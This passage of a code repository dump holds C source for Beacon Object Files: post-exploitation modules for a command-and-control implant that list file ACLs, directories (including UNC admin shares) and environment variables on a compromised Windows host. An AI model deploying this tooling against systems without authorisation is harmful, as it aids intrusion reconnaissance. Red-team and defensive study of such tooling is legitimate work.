intAlloc(FullFileNameLen + 1);\n                                        ConvertUnicodeStringToChar(FullFileName, FullFileNameLen + 1, convertedFullFileName, FullFileNameLen + 1);\n                                        internal_printf(\"\\n%s \", FullFileName);\n                                        intFree(convertedFullFileName);\n                                        for (x2 = 0; x2 < IndentAccess; x2++)\n                                        {\n                                            internal_printf(\"%s\", \" \");\n                                        }\n\n                                        internal_printf(\"%s\", AccessRights[x].uID);\n                                    }\n                                    x--;\n                                }\n\n                                internal_printf(\"%s\", \"\\n\");\n//                             }\n                            }\n                        }\n\n                        internal_printf(\"%s\", \"\\n\");\n\n                        /* free up all resources */\n                        if (Name != NULL)\n                        {\n                            intFree(Name);\n                            Name = NULL;\n                        }\n\n                        if (SidString != NULL)\n                        {\n                            KERNEL32$LocalFree((HLOCAL)SidString);\n                            SidString = NULL;\n                        }\n\n                        AceIndex++;\n                    }\n                    if (!Error)\n                        Ret = TRUE;\n                }\n                else\n                {\n                    KERNEL32$SetLastError(ERROR_NO_SECURITY_ON_OBJECT);\n                }\n            }\n        }\n        if(SecurityDescriptor)\n        {\n\t\t    intFree(SecurityDescriptor);\n            SecurityDescriptor = NULL;\n        }\n    }\n    else\n    {\n        KERNEL32$SetLastError(ERROR_NOT_ENOUGH_MEMORY);\n    }\n\n    return Ret;\n}\n\nstatic VOID\nAddBackslash(LPWSTR FilePath)\n{\n    INT len = KERNEL32$lstrlenW(FilePath);\n    LPWSTR pch = USER32$CharPrevW(FilePath, FilePath + len);\n    if (*pch != L'\\\\')\n        KERNEL32$lstrcatW(pch, L\"\\\\\");\n}\n\nstatic enum searchtype\nGetPathOfFile(LPWSTR FilePath, LPCWSTR pszFiles)\n{\n    WCHAR FullPath[MAX_PATH];\n    LPWSTR pch;\n    DWORD attrs;\n    //First lets check if we are pointing at a folder\n\n    attrs = KERNEL32$GetFileAttributesW(pszFiles);\n    if(attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY))\n    {\n        KERNEL32$GetFullPathNameW(pszFiles, MAX_PATH, FilePath, NULL);\n        return Folder;\n    }\n    // if we get here its probably not a folder, lets follow file logic\n    KERNEL32$lstrcpynW(FilePath, pszFiles, MAX_PATH);\n\n\n    pch = MSVCRT$wcsrchr(FilePath, L'\\\\');\n    if (pch != NULL)\n    {\n        *pch = 0;\n        if (!KERNEL32$GetFullPathNameW(FilePath, MAX_PATH, FullPath, NULL))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to resolve path: 0x%lx\", KERNEL32$GetLastError());\n            return Fail;\n        }\n        KERNEL32$lstrcpynW(FilePath, FullPath, MAX_PATH);\n\n        attrs = KERNEL32$GetFileAttributesW(FilePath);\n        if (attrs == 0xFFFFFFFF || !(attrs & FILE_ATTRIBUTE_DIRECTORY))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to resolve attributes: %ld\", ERROR_DIRECTORY);\n            return Fail;\n        }\n    }\n    else\n        KERNEL32$GetCurrentDirectoryW(MAX_PATH, FilePath);\n\n    AddBackslash(FilePath);\n    return File;\n}\n\nstatic BOOL\nPrintDaclsOfFiles(LPCWSTR pszFiles)\n{\n    WCHAR FilePath[MAX_PATH] = {0};\n    WIN32_FIND_DATAW FindData;\n    HANDLE hFind;\n    DWORD LastError;\n    enum searchtype ST;\n    /*\n     * get the file path\n     */\n    ST = GetPathOfFile(FilePath, pszFiles);\n    switch (ST)\n    {\n        case Fail:\n            BeaconPrintf(CALLBACK_ERROR, \"Unable to resolve file path\");\n            return FALSE;\n        case Folder:\n        {\n            if(!PrintFileDacl(FilePath, L\"\", ST))\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"Unable to list permissions of file %S\", pszFiles);\n                return FALSE;\n            }\n            return TRUE;\n        }\n        case File:\n            break;\n        default:\n            break;\n    }\n\n    //again lets see if this is a folder\n\n    /*\n     * search for the files\n     */\n    hFind = KERNEL32$FindFirstFileW(pszFiles, &FindData);\n    if (hFind == INVALID_HANDLE_VALUE)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Error starting search handle\\n\");\n        return FALSE;\n    }\n\n    do\n    {\n        if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)\n            continue;\n\n        if (!PrintFileDacl(FilePath, FindData.cFileName, ST))\n        {\n            LastError = KERNEL32$GetLastError();\n            if (LastError == ERROR_ACCESS_DENIED)\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"Unable to list permissions of file %S\", FindData.cFileName);\n            }\n            else\n            {\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"Unhandled error in listing: 0x%lx\", LastError);\n                break;\n            }\n        }\n        else\n        {\n            internal_printf(\"\\n\");\n        }\n    } while(KERNEL32$FindNextFileW(hFind, &FindData));\n    LastError = KERNEL32$GetLastError();\n    KERNEL32$FindClose(hFind);\n\n    if (LastError != ERROR_NO_MORE_FILES)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Unable to handle all files, received error 0x%lx\", LastError);\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n\nVOID go(\n\tIN PCHAR Buffer,\n\tIN ULONG Length\n)\n{\n\tdatap parser;\n\tconst wchar_t * targetpath = NULL;\n\tBeaconDataParse(&parser, Buffer, Length);\n\ttargetpath = (const wchar_t*) BeaconDataExtract(&parser, NULL);\n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n    LovingIt();\n\tPrintDaclsOfFiles(targetpath);\n    DoneLovingIt();\n\tprintoutput(TRUE);\n};"
  },
  {
    "path": "SAL-BOF/cacls/defines.h",
    "content": " #define IDS_ABBR_CI \"(CI)\"\n #define IDS_ABBR_OI \"(OI)\"\n #define IDS_ABBR_IO \"(IO)\"\n #define IDS_ABBR_FULL \"F\"\n #define IDS_ABBR_READ \"R\"\n #define IDS_ABBR_WRITE \"W\"\n #define IDS_ABBR_CHANGE \"C\"\n #define IDS_ABBR_NONE \"N\"\n #define IDS_ALLOW \"\"\n #define IDS_DENY \"(DENY)\"\n #define IDS_SPECIAL_ACCESS \"(special access:)\"\n #define IDS_GENERIC_READ \"GENERIC_READ\"\n #define IDS_GENERIC_WRITE \"GENERIC_WRITE\"\n #define IDS_GENERIC_EXECUTE \"GENERIC_EXECUTE\"\n #define IDS_GENERIC_ALL \"GENERIC_ALL\"\n #define IDS_FILE_GENERIC_EXECUTE \"FILE_GENERIC_EXECUTE\"\n #define IDS_FILE_GENERIC_READ \"FILE_GENERIC_READ\"\n #define IDS_FILE_GENERIC_WRITE \"FILE_GENERIC_WRITE\"\n #define IDS_FILE_READ_DATA \"FILE_READ_DATA\"\n #define IDS_FILE_WRITE_DATA \"FILE_WRITE_DATA\"\n #define IDS_FILE_APPEND_DATA \"FILE_APPEND_DATA\"\n #define IDS_FILE_READ_EA \"FILE_READ_EA\"\n #define IDS_FILE_WRITE_EA \"FILE_WRITE_EA\"\n #define IDS_FILE_EXECUTE \"FILE_EXECUTE\"\n #define IDS_FILE_DELETE_CHILD \"FILE_DELETE_CHILD\"\n #define IDS_FILE_READ_ATTRIBUTES \"FILE_READ_ATTRIBUTES\"\n #define IDS_FILE_WRITE_ATTRIBUTES \"FILE_WRITE_ATTRIBUTES\"\n #define IDS_MAXIMUM_ALLOWED \"MAXIMUM_ALLOWED\"\n #define IDS_ACCESS_SYSTEM_SECURITY \"ACCESS_SYSTEM_SECURITY\"\n #define IDS_SPECIFIC_RIGHTS_ALL \"SPECIFIC_RIGHTS_ALL\"\n #define IDS_STANDARD_RIGHTS_REQUIRED \"STANDARD_RIGHTS_REQUIRED\"\n #define IDS_SYNCHRONIZE \"SYNCHRONIZE\"\n #define IDS_WRITE_OWNER \"WRITE_OWNER\"\n #define IDS_WRITE_DAC \"WRITE_DAC\"\n #define IDS_READ_CONTROL \"READ_CONTROL\"\n #define IDS_DELETE \"DELETE\"\n #define IDS_STANDARD_RIGHTS_ALL \"STANDARD_RIGHTS_ALL\""
  },
  {
    "path": "SAL-BOF/dir/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/dir/dir.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n#include \"queue.c\"\n\nvoid listDir(char *path, unsigned short subdirs) {\n\n\tWIN32_FIND_DATA fd = {0};\n\tHANDLE hand = NULL;\n\tLARGE_INTEGER fileSize;\n\tLONGLONG totalFileSize = 0;\n\tint nFiles = 0;\n\tint nDirs = 0;\n\tPqueue dirQueue = queueInit();\n\tchar * uncIndex;\n\tchar * curitem;\n\tchar * nextPath;\n\tint pathlen = MSVCRT$strlen(path);\n\n\t// Per MSDN: \"On network shares ... you cannot use an lpFileName that points to the share itself; for example, \"\\\\Server\\Share\" is not valid.\"\n\t// Workaround: If we're using a UNC Path, there'd better be at least 4 backslashes\n\t// This breaks the convention, but a `cmd /c dir \\\\hostname\\admin$` will work, so let's replicate that functionality.\n\tif (MSVCRT$_strnicmp(path, \"\\\\\\\\\", 2) == 0) {\n\t\tuncIndex = MSVCRT$strstr(path + 2, \"\\\\\");\n\t\tif (uncIndex != NULL && MSVCRT$strstr(uncIndex + 1, \"\\\\\") == NULL) {\n\t\t\tMSVCRT$strcat(path, \"\\\\\");\n\t\t\tpathlen = pathlen + 1;\n\t\t}\n\t}\n\n\t// If the file ends in \\ or is a drive (C:), throw a * on there\n\tif (MSVCRT$strcmp(path + pathlen - 1, \"\\\\\") == 0) {\n\t\tMSVCRT$strcat(path, \"*\");\n\t} else if (MSVCRT$strcmp(path + pathlen - 1, \":\") == 0) {\n\t\tMSVCRT$strcat(path, \"\\\\*\");\n\t}\n\n\t// Query the first file\n\t(hand = KERNEL32$FindFirstFileA(path, &fd));\n\tif (hand == INVALID_HANDLE_VALUE) {\n\t\tinternal_printf(\"Couldn't open %s: Error %u\\n\", path, KERNEL32$GetLastError());\n\t\tKERNEL32$FindClose(hand);\n\t\treturn;\n\t}\n\t// If it's a single directory without a wildcard, re-run it with a \\*\n\tif (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY && MSVCRT$strstr(path, \"*\") == NULL) {\n\t\tMSVCRT$strcat(path, \"\\\\*\");\n\t\tlistDir(path, subdirs);\n\t\tKERNEL32$FindClose(hand);\n\t\treturn;\n\t}\n\n\tinternal_printf(\"Contents of %s:\\n\", path);\n\tdo {\n\t\t// Get file write time\n\t\tSYSTEMTIME stUTC, stLocal;\n\t\tKERNEL32$FileTimeToSystemTime(&(fd.ftLastWriteTime), &stUTC);\n\t\tKERNEL32$SystemTimeToTzSpecificLocalTime(NULL, &stUTC, &stLocal);\n\n\t\tinternal_printf(\"\\t%02d/%02d/%02d %02d:%02d\",\n\t\t\t\tstLocal.wMonth, stLocal.wDay, stLocal.wYear, stLocal.wHour, stLocal.wMinute);\n\n\t\t// File size (or ujust print dir)\n\t\tif (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {\n\t\t\tif (fd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) {\n\t\t\t\tinternal_printf(\"%16s %s\\n\", \"<junction>\", fd.cFileName);\n\t\t\t} else {\n\t\t\t\tinternal_printf(\"%16s %s\\n\", \"<dir>\", fd.cFileName);\n\t\t\t}\n\t\t\tnDirs++;\n\t\t\t// ignore . and ..\n\t\t\tif (MSVCRT$strcmp(fd.cFileName, \".\") == 0 || MSVCRT$strcmp(fd.cFileName, \"..\") == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t// Queue subdirectory for recursion\n\t\t\tif (subdirs) {\n\t\t\t\tnextPath = intAlloc((MSVCRT$strlen(path) + MSVCRT$strlen(fd.cFileName) + 3)*2);\n\t\t\t\tMSVCRT$strncat(nextPath, path, MSVCRT$strlen(path)-1);\n\t\t\t\tMSVCRT$strcat(nextPath, fd.cFileName);\n\t\t\t\tdirQueue->push(dirQueue, nextPath);\n\t\t\t}\n\t\t} else {\n\t\t\tfileSize.LowPart = fd.nFileSizeLow;\n\t\t\tfileSize.HighPart = fd.nFileSizeHigh;\n\t\t\tinternal_printf(\"%16lld %s\\n\", fileSize.QuadPart, fd.cFileName);\n\n\t\t\tnFiles++;\n\t\t\ttotalFileSize += fileSize.QuadPart;\n\t\t}\n\t} while(KERNEL32$FindNextFileA(hand, &fd));\n\tinternal_printf(\"\\t%32lld Total File Size for %d File(s)\\n\", totalFileSize, nFiles);\n\tinternal_printf(\"\\t%55d Dir(s)\\n\", nDirs);\n\n\t// A single error (ERROR_NO_MORE_FILES) is normal\n\tDWORD err = KERNEL32$GetLastError();\n\tif (err != ERROR_NO_MORE_FILES) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Error fetching files: %s\\n\", err);\n\t\tKERNEL32$FindClose(hand);\n\t\treturn;\n\t}\n\n\tKERNEL32$FindClose(hand);\n\twhile((curitem = dirQueue->pop(dirQueue)) != NULL) {\n\t\tlistDir(curitem, subdirs);\n\t\tintFree(curitem);\n\t}\n\tdirQueue->free(dirQueue);\n\n}\n\nvoid ConvertUnicodeStringToChar(const wchar_t* src, size_t srcSize, char* dst, size_t dstSize)\n{\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, src, (int)srcSize, dst, (int)dstSize, NULL, NULL);\n    dst[dstSize - 1] = '\\0';\n}\n\nVOID go(\n\tIN PCHAR Buffer,\n\tIN ULONG Length\n)\n{\n\tdatap parser;\n\tconst wchar_t * targetpath = NULL;\n\tBeaconDataParse(&parser, Buffer, Length);\n\ttargetpath = (const wchar_t*) BeaconDataExtract(&parser, NULL);\n\tSIZE_T targetpathLen = KERNEL32$lstrlenW(targetpath);\n    char * path = intAlloc(targetpathLen + 1);\n    ConvertUnicodeStringToChar(targetpath, targetpathLen + 1, path, targetpathLen + 1);\n    BeaconPrintf(CALLBACK_OUTPUT, path);\n    unsigned short subdirs = BeaconDataShort(&parser);\n\n\t// Not positive how long path is, let's be safe\n\t// At worst, we will append \\* so give it four bytes (= 2 wchar_t)\n\tchar * realPath = intAlloc(1024);\n\tMSVCRT$strncat(realPath, path, 1023);\n\n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n\n\tlistDir(realPath, subdirs);\n    intFree(path);\n\tintFree(realPath);\n\tprintoutput(TRUE);\n};"
  },
  {
    "path": "SAL-BOF/dir/queue.c",
    "content": "#include \"bofdefs.h\"\n//Not if anyone else adopts or looks at this\n//Its not threadsafe\ntypedef struct _item{\n    void * elem;\n    struct _item * next;\n}item, *Pitem;\n\ntypedef struct _queue{\\\n    Pitem head;\n    Pitem tail;\n    void (*push)(struct _queue *, void *);\n    void * (*pop)(struct _queue *);\n    void (*free)(struct _queue *);\n}queue, *Pqueue;\n\nvoid _push(Pqueue q, void * v)\n{\n    Pitem i = (Pitem)intAlloc(sizeof(item));\n    i->elem = v;\n    if(q->head == NULL && q->tail == NULL) // empty\n    {\n        q->head = i;\n        q->tail = i;\n        i->next = NULL;\n    }else // not empty\n    {\n        q->tail->next = i;\n        q->tail = i;\n    }\n}\nvoid * _pop(Pqueue q)\n{\n    void * retval = NULL;\n    Pitem i = NULL;\n    if(q->head == NULL && q->tail == NULL) // empty\n    {\n        return NULL;\n    }\n    retval = q->head->elem; //scanbuild false positive\n    if(q->head == q->tail) //last elem\n    {\n        intFree(q->head);\n        q->head = NULL;\n        q->tail = NULL;\n    }\n    else // not the last item\n    {\n        i = q->head;\n        q->head = q->head->next;\n        intFree(i);\n    }\n    return retval;\n    \n}\n\nvoid _free(Pqueue q)\n{\n    intFree(q);\n}\n\nPqueue queueInit()\n{\n    Pqueue q = (Pqueue)intAlloc(sizeof(queue));\n    q->head = NULL;\n    q->tail = NULL;\n    q->push = _push;\n    q->pop = _pop;\n    q->free = _free;\n    return q;\n}"
  },
  {
    "path": "SAL-BOF/env/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/env/env.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n#include <tchar.h>\n#include <stdio.h>\n\nvoid ConvertUnicodeStringToChar(const wchar_t* src, size_t srcSize, char* dst, size_t dstSize)\n{\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, src, (int)srcSize, dst, (int)dstSize, NULL, NULL);\n    dst[dstSize - 1] = '\\0';\n}\n\nvoid getEnvs() {\n    LPWSTR lpszVariable;\n    LPWCH lpvEnv;\n\n\n    // Get a pointer to the environment block.\n    //lpvEnv = KERNEL32$GetEnvironmentStrings();\n    lpvEnv = KERNEL32$GetEnvironmentStringsW();\n\n    internal_printf(\"Gathering Process Environment Variables:\\n\\n\");\n\n    // If the returned pointer is NULL, exit.\n    if (lpvEnv == NULL)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"GetEnvironmentStrings failed.\");\n        return;\n    }\n\n    // Variable strings are separated by NULL byte, and the block is\n    // terminated by a NULL byte.\n    lpszVariable = (LPWSTR) lpvEnv;\n\n    while (*lpszVariable)\n    {\n        SIZE_T envLength = KERNEL32$lstrlenW(lpszVariable);\n        char * convertedEnv = intAlloc(envLength + 1);\n        ConvertUnicodeStringToChar(lpszVariable, envLength + 1, convertedEnv, envLength + 1);\n        internal_printf(\"%s\\n\", convertedEnv);\n        lpszVariable += KERNEL32$lstrlenW(lpszVariable) + 1;\n        intFree(convertedEnv);\n    }\n    return;\n}\n\nVOID go()\n{\n\n    if(!bofstart())\n    {\n        return;\n    }\n\n    getEnvs();\n\n    printoutput(TRUE);\n    bofstop();\n};"
  },
  {
    "path": "SAL-BOF/ipconfig/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, 